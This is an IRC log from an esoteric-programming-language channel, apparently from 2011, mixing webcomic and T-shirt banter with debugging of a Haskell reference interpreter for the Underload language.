21:43:24 <Phantom_Hoover> http://fashionablygeek.com/t-shirts/dinosaurs-as-mammals-saviors-shirt/
21:43:38 <elliott> quintopia: and also, fixed it at the same time, whereas it took a famous member of #esoteric two months after my quoted date
21:43:42 <Phantom_Hoover> This is the only amusing T-shirt I am actually tempted to buy.
21:43:59 -!- poiuy_qwert has joined.
21:44:02 <elliott> Phantom_Hoover: Apart from every Dinosaur Comics tshirt?
21:44:06 <oerjan> elliott: ReadS has a list wrapper too, for possible nondeterminism
21:44:08 <Phantom_Hoover> Wait, it doesn't credit SMBC for it!
21:44:12 <Phantom_Hoover> THEY WILL PAY
21:44:13 <elliott> oerjan: indeed
21:44:15 <elliott> Phantom_Hoover: Apart from every Dinosaur Comics tshirt?
21:44:29 <Phantom_Hoover> elliott, I have not actually read most of DC.
21:44:42 <elliott> Phantom_Hoover: Nobody has, but that's okay, because it has NO CHRONOLOGY WHATSOEVER.
21:44:52 <elliott> omg
21:44:52 <elliott> omg
21:44:53 <elliott> omg
21:44:54 <elliott> http://www.topatoco.com/merchant.mvc?Screen=PROD&Store_Code=TO&Product_Code=ASW-QW-IMNOT&Category_Code=QW
21:44:54 <elliott> they made them
21:46:44 * Phantom_Hoover wonders if he should see if Dresden Codak has updated.
21:47:07 <elliott> I DISTINCTLY RECALL EVERYONE COLLECTIVELY DECIDING THAT DRESDEN CODAK SHOULD SUCK A DICK
21:47:16 <elliott> Updated Feb 1st, apparently.
21:47:24 <Phantom_Hoover> It updates?
21:47:36 <Phantom_Hoover> http://www.topatoco.com/merchant.mvc?Screen=PROD&Store_Code=TO&Product_Code=BEAT-PONY-ONESIE&Category_Code=BEAT
21:47:37 <Phantom_Hoover> OMG
21:48:04 <elliott> Topatoco is pretty much the only thing anyone should ever buy products from.
21:48:04 <Ilari> (But still, MRSA is bad enough...)
21:48:17 <Phantom_Hoover> Ilari, not as bad as Dresden Codak!
21:48:32 <elliott> The only thing worse than Dresden Codak... is not the holocaust. It does in fact not exist.
21:48:35 <elliott> INFINITE
21:48:36 <elliott> WORSENESS
21:48:58 <Phantom_Hoover> I WISH I COULD WEAR NOVELTY T-SHIRTS
21:49:04 <Phantom_Hoover> BUT I WEAR A JUMPER LIKE ALL THE TIME
21:49:20 <elliott> THAT IS BECAUSE YOU ARE SCOTTISH
21:49:39 <Ilari> Fun tactics from plant kingdom: Some plant uses 6(!) different toxins (all quite toxic to against the same things but via different mechanisms) as all at once defense...
21:49:48 <elliott> http://www.topatoco.com/merchant.mvc?Screen=PROD&Store_Code=TO&Product_Code=ASP-SCIENCEIS&Category_Code=ALLSHIRTS
21:50:12 <Ilari> Real nasty for those pests to develop resistance...
21:50:54 <elliott> Phantom_Hoover: Perry Bible Fellowship hasn't been updated yet, SORRY TO RUIN YOUR DAY.
21:51:05 <Phantom_Hoover> elliott, I DON'T READ IT FOR SOME REASON
21:51:11 <elliott> Phantom_Hoover: what
21:51:13 <Phantom_Hoover> I MEAN, I'VE ALREADY READ ALL OF THE COMICS
21:51:22 <elliott> Phantom_Hoover: Well, it updates like once a year, so :P
21:51:23 <Phantom_Hoover> BUT I DIDN'T KEEP FOLLOWING IT
21:51:33 <elliott> From the creator of PBF: http://www.kickstarter.com/projects/2116548608/help-erase-the-national-debt-of-the-usa
21:51:36 <elliott> BEST KICKSTARTER PROJECT EVER
21:51:39 <elliott> $180
21:51:39 <elliott> PLEDGED OF $21,474,836 GOAL
21:51:44 <Phantom_Hoover> http://www.kickstarter.com/projects/2116548608/help-erase-the-national-debt-of-the-usa
21:51:51 <elliott> "If we all got together we could remedy this problem.
21:51:51 <elliott> NOTE: KICKSTARTER HAS A MAXIMUM GOAL OF $21,474,836.47.
21:51:51 <elliott> THIS IS NOT MY GOAL. THE GOAL IS 15 TRILL."
21:51:52 <Phantom_Hoover> Goddam it.
21:51:57 <elliott> BEST THING EVER
21:51:59 <Phantom_Hoover> http://www.topatoco.com/merchant.mvc?Screen=PROD&Store_Code=TO&Product_Code=RB-MAGNETS&Category_Code=RB
21:52:17 <Phantom_Hoover> WANT
21:53:40 <elliott> Phantom_Hoover: http://www.qwantz.com/adventures/
21:55:28 <elliott> ^ul (a
21:55:28 <fungot> ...unterminated (!
21:55:32 <elliott> !underload (a
21:55:37 <elliott> yay?
21:55:39 <EgoBot> Error: Expected ) at end of input
21:55:40 <elliott> !underload (a)S
21:55:40 <EgoBot> a
21:55:42 <elliott> darn
21:56:53 <elliott> *Main> eval . fst . parse . map ord8 $ "(:aSS):aSS"
21:56:53 <elliott> <interactive>:1:0:
21:56:53 <elliott> No instance for (Show (Stack -> EvalResult))
21:56:57 <elliott> oerjan: i totally agree, $ should be infixl
21:57:00 <elliott> so i don't have to parenise :P
21:57:30 <elliott> Phantom_Hoover: Buy this: http://www.topatoco.com/merchant.mvc?Screen=PROD&Store_Code=TO&Product_Code=SMBC-DANGEROUS&Category_Code=SMBC-SHIRTS
21:57:39 <elliott> It would be better without the caption, though.
21:58:03 <Phantom_Hoover> elliott, but it makes more sense with the caption!
21:58:12 <elliott> IT IS NOT TO MAKE SENSE IT IS TO FEEL SMUG AND HIP
22:01:08 <Phantom_Hoover> HOW CAN I DO THAT WHEN I AM WEARING A JUMPER OVER IT
22:01:57 <elliott> oh shit, i need bytestring
22:03:11 <Phantom_Hoover> http://i.imgur.com/lO9OV.jpg
22:03:34 <Phantom_Hoover> My inner Scot is asking why England, Ireland and Wales all get included on that.
22:05:44 <elliott> It's a conspirac.
22:05:47 <elliott> *conspiracy.
22:05:55 <Phantom_Hoover> I thought they had cut you short.
22:05:57 <elliott> hahahahaha scotland isn't on there
22:05:57 <elliott> :D
22:06:12 <Phantom_Hoover> But yes, this is just ANOTHER EPISODE of the CAMPAIGN OF OPPRESSION from Westminster.
22:06:28 <Phantom_Hoover> (Yes, Westminster made that image.)
22:06:48 <elliott> :D
22:07:17 <oerjan> that is a completely uninteresting question.
22:07:24 <elliott> oerjan: what is
22:07:31 <Phantom_Hoover> oerjan, AHA
22:07:32 <elliott> oh, did Sgeo say something.
22:07:33 <oerjan> the important question is WHY IS THERE A SWEDE BUT NO NORWEGIAN
22:07:34 <elliott> Phantom_Hoover: QUICK! Note how awesome the Burro 2.0 specification is! http://catseye.tc/projects/burro/doc/burro.html
22:07:36 <elliott> oh
22:07:54 <Phantom_Hoover> oerjan, CLEARLY THE SAME PEOPLE ARE KEEPING US DOWN
22:07:57 <elliott> Phantom_Hoover: THE SPECIFICATION IS EXECUTABLE SEMANTICS IN THE FORM OF LITERATE HASKELL, THAT ALSO SERVES AS THE REFERENCE INTERPRETER
22:08:02 <Phantom_Hoover> JOIN ME, BROTHER
22:08:19 <elliott> DUDE
22:08:20 <elliott> ADMIRE
22:08:20 <elliott> THE
22:08:21 <elliott> AWESOME
22:08:31 <Phantom_Hoover> elliott, yesyesyes.
22:08:35 <elliott> NO WRONG
22:08:36 <elliott> *TOTAL
22:08:38 <elliott> AWESOME
22:08:50 <Phantom_Hoover> THE OPERATIVE ISSUE IS THE WESTMINSTER/STOCKHOLM CONSPIRACY
22:09:25 <augur> elliott: todays nedroid is so you
22:09:44 <elliott> nedroid is always e
22:09:44 <elliott> *me
22:09:52 <augur> yes but today its especially you
22:09:57 * augur hugs elliottato
22:10:40 <elliott> meanwhile, in the realm of scary functions:
22:10:42 <elliott> fixIO :: (a -> IO a) -> IO a
22:11:06 <oerjan> mm, fixIO
22:11:23 <elliott> oerjan: HOW IS THAT MM :D
22:11:25 <Phantom_Hoover> How does that...
22:11:25 <augur> thats an a-in-IO-a continuation, surely!
22:12:08 <Phantom_Hoover> I mean, surely it would need typeclass constraints...
22:12:16 <oerjan> :t fixIO
22:12:17 <lambdabot> Not in scope: `fixIO'
22:12:31 <oerjan> um
22:12:40 <oerjan> :t mfix
22:12:41 <lambdabot> forall a (m :: * -> *). (MonadFix m) => (a -> m a) -> m a
22:12:59 <oerjan> i think fixIO is the IO case of that
22:15:36 <oerjan> elliott: also: see Malbolge Unshackled implementation.
22:15:43 <Phantom_Hoover> http://i.imgur.com/bIooj.png
22:15:46 <Phantom_Hoover> I don't get it.
22:15:58 <elliott> oerjan: right
22:16:04 <elliott> Phantom_Hoover: -minecraft
22:16:09 <Phantom_Hoover> Oh, yes.
22:16:12 <augur> what
22:16:30 <olsner> Phantom_Hoover: that's fun, take a random image and paint a big circle and HOW?!? somewhere
22:16:42 <elliott> :D
22:16:43 <elliott> omg
22:16:44 <elliott> best trolling method
22:16:46 <Sgeo> elliott, am I on ignore?
22:16:48 <olsner> yep, a variant of the "when you see it" troll
22:17:37 <Gregor> http://www.youtube.com/watch?v=C8Wu3Bps9ic <-- this is Vorpal
22:17:54 <elliott> Gregor: I have already said that :P
22:18:02 <elliott> olsner linked to one of those and I said that I bet Vorpal is like that in real life.
22:18:04 <Gregor> So's your face.
22:18:07 <elliott> IRC is the only place where he can seem calm and relaxed.
22:18:15 <elliott> It's therapeutic for him.
22:18:38 <olsner> outbursts are the key to staying calm
22:18:48 <Sgeo> Serenity Now?
22:19:10 <Gregor> SERENITY NOOOOOOOOOOOOOOOW!
22:19:16 <olsner> add the spices! GRRRR!
22:19:18 <oerjan> :t mfix \v -> do r1 <- newIORef ("boo!":v); readIORef r1
22:19:18 <lambdabot> parse error on input `\'
22:19:28 <oerjan> :t mfix $ \v -> do r1 <- newIORef ("boo!":v); readIORef r1
22:19:29 <lambdabot> Not in scope: `newIORef'
22:19:29 <lambdabot> Not in scope: `readIORef'
22:19:35 <Lymia> Gregor.
22:19:36 <oerjan> fff
22:19:49 <olsner> he actually did that line in english... still don't know if it's supposed to be in english or swedish
22:19:52 <Lymia> What is egojoust's return value?
22:20:03 <oerjan> :t mfix $ \v -> do r1 <- Data.IORef.newIORef ("boo!":v); Data.IORef.readIORef r1
22:20:04 <lambdabot> IO [[Char]]
22:20:07 <Gregor> Lymia: Idonno :P
22:20:25 <Lymia> Gregor, it'd be useful to know, as I intend on invoking it as an external program.
22:20:25 <Lymia> =p
22:20:32 <Gregor> That's how it works.
22:20:35 <Gregor> So its return value is useful.
22:20:39 <Gregor> But that doesn't mean I recall what it is.
22:20:40 <Phantom_Hoover> <Gregor> http://www.youtube.com/watch?v=C8Wu3Bps9ic <-- this is Vorpal ← SEE THE BRUTALITY THAT STOCKMINSTER ENTAILS
22:20:41 <Gregor> Look at report.c
22:20:52 <olsner> stockminster?
22:21:22 <elliott> olsner: the Westminster-Stockholm Conspiracy
22:21:29 <elliott> dedicated to destroying Scots and Nords worldwide
22:21:31 <elliott> yes, Nords is now a word
22:21:54 <olsner> actually, I think vorpal is the "retarded team member" to the left
22:21:57 <oerjan> nords and greeks
22:22:17 <Phantom_Hoover> oerjan, AHA, SO IT IS STOCKMINSTEROME
22:23:07 <elliott> `addquote <olsner> actually, I think vorpal is the "retarded team member" to the left
22:23:18 <HackEgo> 293) <olsner> actually, I think vorpal is the "retarded team member" to the left
22:23:35 <Phantom_Hoover> HE IS ONLY PLAYING THE FOOL
22:26:15 <Vorpal> hey you
22:26:26 <Phantom_Hoover> Vorpal, SHUT UP FASCIST
22:26:40 <Phantom_Hoover> MEL GIBSON^W^WWILLIAM WALLACE DIED FIGHTING YOUR KIND
22:26:59 <elliott> @pl x >> return y
22:26:59 <lambdabot> x >> return y
22:27:00 <Sgeo> `ul (elliott are you ignoring me?)S
22:27:01 <HackEgo> No output.
22:27:03 <elliott> :t (>>)
22:27:04 <lambdabot> forall (m :: * -> *) a b. (Monad m) => m a -> m b -> m b
22:27:07 <elliott> @hoogle m a -> b -> m b
22:27:08 <Phantom_Hoover> Sgeo, yes, yes is.
22:27:08 <lambdabot> Control.Applicative (<$) :: Functor f => a -> f b -> f a
22:27:08 <lambdabot> Control.Applicative (*>) :: Applicative f => f a -> f b -> f b
22:27:08 <lambdabot> Prelude (>>) :: Monad m => m a -> m b -> m b
22:27:19 <oerjan> :t (*>)
22:27:20 <lambdabot> forall (f :: * -> *) a b. (Applicative f) => f a -> f b -> f b
22:27:20 <Phantom_Hoover> *yes he is
22:28:05 <elliott> yay it works
22:28:07 <elliott> kind of
22:28:10 <elliott> :t ($>)
22:28:11 <lambdabot> Not in scope: `$>'
22:28:12 <elliott> :t (>$)
22:28:13 <lambdabot> Not in scope: `>$'
22:28:16 <elliott> :(
22:28:18 <Vorpal> Phantom_Hoover, that "http://www.youtube.com/watch?v=C8Wu3Bps9ic" is like cook going berserk or something
22:28:19 <Vorpal> :D
22:28:28 <elliott> no, it's regular ordinary Swedish meal time
22:28:31 <elliott> can't you read?
22:28:48 <Vorpal> elliott, well, could be in North Sweden maybe.
22:28:59 <Phantom_Hoover> Vorpal, it is a SATIRE of how you treat SCOTS, NORWEGIANS AND GREEKS
22:29:00 <Vorpal> elliott, we are far more begin in the southern parts
22:29:04 <elliott> Vorpal: Shut up, instrument of the Westminster-Stockholm conspiracy.
22:29:08 <elliott> That's what you'd _want_ us to think.
22:29:18 <Phantom_Hoover> elliott, it includes Rome as well.
22:29:34 <elliott> Vorpal: Shut up, instrument of the Westminster-Stockholm-Rome conspiracy.
22:29:35 <elliott> That's what you'd _want_ us to think.
22:29:44 <Vorpal> Phantom_Hoover, heh
22:30:04 <Phantom_Hoover> Vorpal, STOP TREATING US LIKE MEATBALLS
22:30:09 <Phantom_Hoover> FFS
22:30:13 <oerjan> :t runRWS
22:30:14 <lambdabot> forall r w s a. RWS r w s a -> r -> s -> (a, s, w)
22:30:14 <Phantom_Hoover> THEY HAVE UZBEK
22:30:24 <Phantom_Hoover> NOÖNE HAS EVER HEARD OF UZBEKISTAN
22:30:29 <oerjan> EVEN HASKELL IS TOUCHED BY THE CONSPIRACY
22:30:34 <Phantom_Hoover> IT'S DOUBLE LANDLOCKED FOR CHRIST'S SAKE
22:30:45 <elliott> oerjan: wat
22:31:09 <Phantom_Hoover> elliott, run Rome Westminster Stockholm.
22:31:14 <oerjan> elliott: the Rome-Westminster-Stockholm conspiracy, it's plain to see
22:31:18 <Phantom_Hoover> BUT OF COURSE YOU'D BE SCEPTICAL
22:31:24 <Phantom_Hoover> YOU ARE PART OF THE CONSPIRACY
22:31:24 <Vorpal> Phantom_Hoover, my favourite bit was "skål" in milk!
22:31:28 <Vorpal> so weird
22:32:11 <Ilari> Are AHA and ADA just plain clueless or is there something worse going on? :-/
22:32:12 <oerjan> Phantom_Hoover: um wasn't uzbekistan on borat or something
22:32:17 <Vorpal> oh my, pitepalt next time they said at the end
22:32:27 <Phantom_Hoover> oerjan, that was Kazakhstan.
22:32:31 <elliott> the perils of lazy IO:
22:32:33 <elliott> elliott@elliott-MacBookAir:~/Code/ul-exc-sem$ ./underload
22:32:33 <elliott> (:aSS):aSS
22:32:33 <elliott> [Invalid program]
22:32:33 <elliott> (:aSS):aSS
22:32:44 <elliott> first line is input
22:32:46 <oerjan> Phantom_Hoover: no, i mean the neighboring country he hated
22:32:50 <Vorpal> <Phantom_Hoover> NOÖNE HAS EVER HEARD OF UZBEKISTAN <-- uh yes?
22:32:56 <elliott> NO
22:32:56 <Vorpal> I don't know where it is exactly
22:32:57 <elliott> NOBODY
22:32:59 <Vorpal> somewhere in Asia
22:33:01 <Vorpal> that is all
22:33:08 <Phantom_Hoover> Vorpal, it's DOUBLE LANDLOCKED
22:33:18 <Vorpal> Phantom_Hoover, okay that have to hurt
22:33:18 <Phantom_Hoover> DO YOU KNOW WHAT THE OTHER DOUBLE LANDLOCKED COUNTRY IS
22:33:25 <oerjan> I KNOW
22:33:28 <Vorpal> Phantom_Hoover, nope
22:33:34 * oerjan reads xkcd
22:33:44 <Vorpal> Phantom_Hoover, Switzerland have to be single-landlocked only
22:33:44 <Vorpal> hm
22:33:46 <Vorpal> so no idea
22:33:52 <elliott> hm how strange
22:33:59 <elliott> I have noooo idea why that is happening.
22:34:07 <elliott> @hoogle Handle -> IO String
22:34:07 <lambdabot> System.IO hGetContents :: Handle -> IO String
22:34:07 <lambdabot> System.IO hGetLine :: Handle -> IO String
22:34:07 <lambdabot> System.IO hShow :: Handle -> IO String
22:34:07 <Vorpal> Phantom_Hoover or oerjan: tell me then
22:34:16 <elliott> I WANT A READ-WHOLE-FILE-STRICTLY DAMMIT
22:34:17 <Phantom_Hoover> Vorpal, NO
22:34:23 <Vorpal> Phantom_Hoover, why not
22:34:34 <Phantom_Hoover> WE WILL NOT BOW TO YOU
22:34:43 <Phantom_Hoover> YOU SWENGLITALIAN BASTARD
22:34:51 <Vorpal> Phantom_Hoover, so you detest those who seek information?
22:35:05 <oerjan> Vorpal: lie?chtenstein
22:35:16 <Vorpal> oerjan, ah
22:35:28 <Vorpal> oerjan, I know of it. But where is it? Somewhere in Europe right?
22:35:40 <oerjan> right next to switzerland
22:35:44 <Vorpal> ah
22:35:58 <quintopia> elliott: what were you talking about when you pinged me?
22:36:20 <elliott> quintopia: http://forums.xkcd.com/viewtopic.php?f=12&t=14350&view=next
22:36:37 <elliott> quintopia: ais only figured out that Burro disobeyed the laws in January 2010
22:36:44 <elliott> quintopia: and it took another two months for cpressey to fix it and release version 2
22:36:50 <quintopia> ah
22:36:53 <elliott> but you found out about the problem and solved it two weeks after the language came out :D
22:37:01 <elliott> and thus over two years before we figured it out
22:37:17 <elliott> "Neat.
22:37:17 <elliott> I found his email address: cpressey[at]gmail[dot]com"
22:37:20 <quintopia> makes you wish i IRCed back then eh?
22:37:20 <elliott> Now why would anyone poste that.
22:37:47 <elliott> not really, your solution is way less elegant than burro 2.0 :D
22:37:54 <quintopia> i agree
22:38:26 <Vorpal> quintopia, is that a picture of you as that icon?
22:39:25 <elliott> oerjan: thought you might like to know: your look and say doesn't work in my reference interpreter
22:39:30 <elliott> no idea why :D
22:39:49 <elliott> hm looks to be an evaluation error
22:39:50 <elliott> it parses fine
22:40:03 <elliott> oh
22:40:04 <elliott> lol
22:40:07 <quintopia> Vorpal: it's my self-portrait
22:40:08 <elliott> I don't parse !
22:40:15 <Vorpal> quintopia, nice
22:40:23 <Vorpal> quintopia, you paint?
22:40:27 <elliott> in fact my spec completely lacks !
22:40:28 <elliott> :D
22:40:39 <Vorpal> elliott, what does ! do now again
22:40:44 -!- zzo38 has joined.
22:40:46 <elliott> discard (pops)
22:40:48 <elliott> aka drop
22:40:52 <Vorpal> ah right
22:40:53 <quintopia> hello zzo38
22:41:06 <zzo38> Hello
22:41:09 <quintopia> Vorpal: i tried painting. i'm not very good at it. i'm decent at graphite though
22:42:26 <Vorpal> it is interesting that in English "hello" is a greeting and "hey" is more of a call for attention. In Swedish the word "hallå" (close to "hello" in how it is pronounced) is either a greeting or a call for attention in the same way that "hey" is in English, but "hej" (pronounced almost exactly the same as "hey" in English) is only a greeting.
22:42:30 <elliott> oerjan: erm how does your look-and-say output?
22:42:57 <oerjan> elliott: what
22:43:10 <elliott> elliott@elliott-MacBookAir:~/Code/ul-exc-sem$ ./underload foo
22:43:10 <elliott> , ,
22:43:12 <oerjan> one digit at a time, mostly
22:43:12 <elliott> and then it hangs
22:43:17 <elliott> Stack space overflow: current size 8388608 bytes.
22:43:18 <elliott> Use `+RTS -Ksize -RTS' to increase it.
22:43:25 <oerjan> elliott: um the first output should be a digit
22:43:31 <elliott> oerjan: WELP :D
22:43:49 <oerjan> elliott: i suggest testing simpler programs
22:44:01 <elliott> indeed.
22:44:03 <elliott> well (0)S works
22:44:17 <oerjan> ^ul (0)(1)!S
22:44:17 <fungot> 0
22:44:22 <oerjan> ^ul (0)(1)~!S
22:44:22 <fungot> 1
22:44:26 <oerjan> ^ul (0)(1)*S
22:44:26 <fungot> 01
22:44:35 <elliott> *Main> run (map ord8 "(()(*))(~:^:S*a~^a~!~*~:(/)S^):^")
22:44:35 <elliott> */*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/...
22:44:39 <elliott> well that is NOT the fibonacci sequence :D
22:44:50 <oerjan> indeed
22:44:57 <oerjan> ^ul (()(*))(~:^:S*a~^a~!~*~:(/)S^):^")
22:44:57 <fungot> */*/**/***/*****/********/*************/*********************/**********************************/*******************************************************/*****************************************************************************************/********************************************************************************* ...too much output!
22:45:07 <elliott> hm yet the code seems absolutely fine
22:45:13 <zzo38> I do have a few kind of questions based on a few different things.
22:45:13 <elliott> what's the thing that causes more *s to be added there
22:45:14 <elliott> * or ^?
22:45:14 <oerjan> elliott: try each of the ones i pasted
22:45:36 <elliott> oerjan: lol
22:45:39 <elliott> (0)(1)* = 10
22:45:43 <elliott> *(10)
22:45:53 <elliott> oerjan: i like how fibonacci still ran like that, just went wrong
22:45:57 <oerjan> right that'd do it
22:46:01 <oerjan> hm...
22:46:14 <elliott> 011010011001011010010110011010011001011001101001011010011001011010010110011010010110100110010110011010011001011010010110011010011001011001101001011010011001011001101001100101101001011001101001011010011001011010010110011010011001011001101001011010011001011010010110011010010110100110010110011010011001011010010110011010010110100110010110100101100110100110010110011010010110100110010110011010011001011010010
22:46:14 <elliott> 110011010011001011001101001011010011001011010010110011010010110100110010110011010011001011010010110011010011001011001101001011010011001011001101001100101^C1Interrupted.
22:46:16 <oerjan> ^ul (()(~*))(~:^:S~*a~^a~!~~*~:(/)S^):^")
22:46:16 <fungot> ~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/~*/ ...too much output!
22:46:18 <elliott> looks like Thue-Morse to me!
22:46:23 <elliott> :DDD
22:46:37 <oerjan> indeed
22:46:45 <elliott> *Main> run . map ord8 $ "(12)S(*a(~:)~*^~):((1)S)~*~((2)S:*)~*:(~:()~)~*^(a(:^)*~a(*()~)~*^~^):^"
22:46:45 <elliott> 12[Invalid program]
22:46:46 <elliott> lol
22:46:55 <elliott> oerjan: wait was it thue-morse?
22:47:05 <elliott> if so then thue-morse works with flipped *...
22:47:06 <oerjan> it looked like it
22:47:10 <zzo38> Do you know any DSPs that has Free assemblers and can emulate the GameBoy Advance audio and video (when the correct program is loaded into it), and can have programs loaded into it externally? What else should be good if it can have a program to output a Ogg Vorbis / Ogg Theora video to the television set, and emulate any other kind of audio/video too.
22:47:11 <oerjan> heh
22:47:26 <Phantom_Hoover> elliott, that's not Thue-Morse.
22:47:33 <elliott> $ ./underload rule110
22:47:33 <elliott> [Invalid program]
22:47:33 <elliott> aww
22:47:34 <Phantom_Hoover> WAIT IS THAT A JOKE
22:47:56 <oerjan> elliott: HAVE YOU FIXED * YET
22:48:01 <elliott> DOING SO
22:48:19 <elliott> look and say works now
22:48:25 <elliott> gets progressively slower ofc
22:48:41 <elliott> ...but then faster again
22:48:42 <elliott> how queer
22:48:52 <elliott> yep, it's definitely going fast, slow, fast, slow
22:49:05 <elliott> perhaps because of GC?
22:49:24 <oerjan> maybe
22:49:34 <elliott> elliott@elliott-MacBookAir:~/Code/ul-exc-sem$ time ./underload foo >bar
22:49:34 <elliott> ^C
22:49:34 <elliott> real0m18.222s
22:49:34 <elliott> user0m17.910s
22:49:34 <elliott> sys0m0.290s
22:49:35 <elliott> elliott@elliott-MacBookAir:~/Code/ul-exc-sem$ ls -lh bar
22:49:37 <elliott> -rw-r--r-- 1 elliott elliott 60K 2011-02-05 23:07 bar
22:49:39 <elliott> speedy :P
22:49:40 <elliott> to be fair it flushes after every write
22:50:31 <olsner> you could try enabling profiling
22:50:51 <oerjan> elliott: perhaps there is some laziness happening
22:51:01 <olsner> or use ghc-core and meditate over the core output until you see it
22:51:09 <elliott> oerjan: oh, it's totally lazy in pretty much every way
22:51:25 <elliott> oerjan: remember, the aim is to be a _specification_ in a formal language (Haskell)
22:51:32 <elliott> the fact that it doubles up as a correct reference implementation is a mere bonus
22:51:40 <elliott> strictness annotations, therefore, are not appropriate
22:51:42 <oerjan> elliott: is the slowing down happening in any particular part of the output of a number?
22:52:03 <elliott> oerjan: I could just give you the program and let you find out for yourself :P ... but no, it's between numbers
22:52:10 <elliott> elliott@elliott-MacBookAir:~/Code/ul-exc-sem$ time ./underload foo >bar
22:52:10 <elliott> ^C
22:52:11 <elliott> real1m5.714s
22:52:11 <elliott> user1m2.550s
22:52:11 <elliott> sys0m1.900s
22:52:11 <elliott> elliott@elliott-MacBookAir:~/Code/ul-exc-sem$ ls -lh bar
22:52:13 <elliott> -rw-r--r-- 1 elliott elliott 86K 2011-02-05 23:09 bar
22:52:15 <elliott> without flushing
22:52:17 <elliott> so flushing isn't it :)
22:52:20 <elliott> oerjan: it was, like
22:52:32 <elliott> oerjan: prints numbers fast... starts slowing down (char-by-char slowdown)
22:52:33 <olsner> neat, nasm comes with a macro package for using r0-r7 instead of the traditional register names
22:52:36 <elliott> ...starts speeding up
22:52:37 <elliott> FULL SPEED
22:52:40 <elliott> very quickly, goes slow again
22:52:42 <elliott> starts speeding up
22:52:43 <elliott> FULL SPEED
22:52:43 <elliott> etc.
22:52:52 <elliott> olsner: hehe
22:53:29 <oerjan> elliott: digits 3 might be slower than digits 1, for example (they _are_ church numerals)
22:54:10 <elliott> oerjan: indeed
22:54:21 <olsner> (but I don
22:54:27 <olsner> damn enter key
22:54:54 <elliott> http://sprunge.us/UFKH the haskell part of the specification (note that concatenate, push, tos, sos aren't used, they're just there for illustration earlier on)
22:55:00 <olsner> (but I don't think that makes much more sense unfortunately)
22:55:01 <elliott> also I plan to clean this up a bit
22:55:14 <elliott> olsner: it makes sense once you don't have to talk to the bios any more
22:55:53 <olsner> divisions and multiplications put the results in registers 0 and 2?
22:56:38 <Gregor> I NEED INSPIRATION
22:56:42 <Gregor> Musically speaking
22:56:43 <elliott> Gregor: wat
22:56:44 <elliott> olsner: yep!
22:57:13 <Phantom_Hoover> Welcome to x86!
22:57:15 <olsner> point is, it's all arbitrary regardless of it's an arbitrary letter or an arbitrary number
22:57:18 <Gregor> HEY CHANNEL PEOPLE
22:57:20 <Gregor> Give me inspiration
22:57:24 <Gregor> GIVE IT TO ME
22:57:27 <olsner> and some of the letters actually correspond to sensible mnemonics
22:57:28 <Gregor> OR I WILL TAKE IT BY FORCE
22:57:39 <Phantom_Hoover> Gregor, a language where you can only write programs by accident.
22:57:42 <elliott> Gregor: opus 13 + superturing remix = ?
22:57:44 <Phantom_Hoover> Like, if you try, it won't work.
22:57:50 <elliott> Phantom_Hoover: "musically speaking"
22:57:51 <Gregor> Phantom_Hoover: "<Gregor> Musically speaking"
22:57:58 <Gregor> elliott: Phail
22:58:05 <elliott> Gregor: it would be amazing
22:58:08 <elliott> just mix opus 13 into superturing
22:58:13 <Phantom_Hoover> Gregor, you should totally do that though.
22:58:19 <Gregor> >_<
22:58:22 <Phantom_Hoover> OK, a piece you can only appreciate by accident.
22:58:23 <Gregor> I need to ask on a different channel.
22:58:38 <elliott> Gregor: Make the world's most stunning Fugue program.
22:59:43 <Phantom_Hoover> http://buttersafe.com/2011/01/20/moths-to-a-flame/
22:59:46 <Phantom_Hoover> XD
22:59:52 <elliott> Buttersafe++
22:59:53 <zzo38> Yes it has to be a music 1 year long and also a good program that does a lot of things and it has to be a good music that can win the music contest, too.
23:00:17 <elliott> Gregor: On second thoughts, yeah, ask a different channel.
23:01:41 <Phantom_Hoover> Now I am glad I looked at Dresden Codak, because there's an SMBC guest strip.
23:01:54 <elliott> oerjan
23:01:59 <elliott> why are ducks?
23:02:00 <Vorpal> Phantom_Hoover, link?
23:02:07 <elliott> that's my question
23:02:07 <elliott> for you
23:02:08 <Phantom_Hoover> Vorpal, NO
23:02:09 <zzo38> Do you have idea what kind of commands and things might be useful added in Plain TeXnicard? http://repo.or.cz/w/TeXnicard.git/blob_plain/HEAD:/system/plain.cards
23:02:09 <elliott> if you are cool
23:02:10 <elliott> enough
23:02:16 <Vorpal> Phantom_Hoover, why not
23:02:16 <Phantom_Hoover> STOP REPRESSING ME AND THEN WE'LL TALK
23:02:17 <Vorpal> ...
23:02:25 <Vorpal> Phantom_Hoover, when did I ever repress you?
23:02:41 <Phantom_Hoover> Vorpal, SEE
23:02:43 <Phantom_Hoover> REPRESSION
23:03:02 <Vorpal> uh what
23:03:20 <elliott> RWS RWS RWS
23:03:28 <Vorpal> Phantom_Hoover, which meaning of repression here
23:03:38 <Vorpal> are we talking about social repression or memory repression
23:03:38 <elliott> I'm going to do something no man has ever attempted before.
23:03:41 <Vorpal> I assumed the former
23:03:59 <Vorpal> elliott, write unlambda on toilet paper?
23:04:06 <elliott> COMPILE TEXNICARD
23:04:12 <elliott> Hey zzo38, your compile script has an error.
23:04:14 <Vorpal> elliott, oh.
23:04:18 <zzo38> elliott: What is the error?
23:04:20 <elliott> It should say "#!/usr/bin/env bash", not "#!/bin/bash".
23:04:26 <elliott> The latter won't work if bash is not in /bin.
23:04:33 <elliott> The former will work as long as bash is on the $PATH which it will be.
23:04:37 <Vorpal> elliott, why do you assume /usr/bin/env?
23:04:53 -!- oerjan has quit (Quit: Good night).
23:05:02 <zzo38> elliott: OK I will fix that, but now I have to leave. This time you can just change it yourself.
23:05:03 -!- zzo38 has quit (Remote host closed the connection).
23:07:23 <Phantom_Hoover> elliott, re your catbus question, it seems logical that they should be linked cyclically.
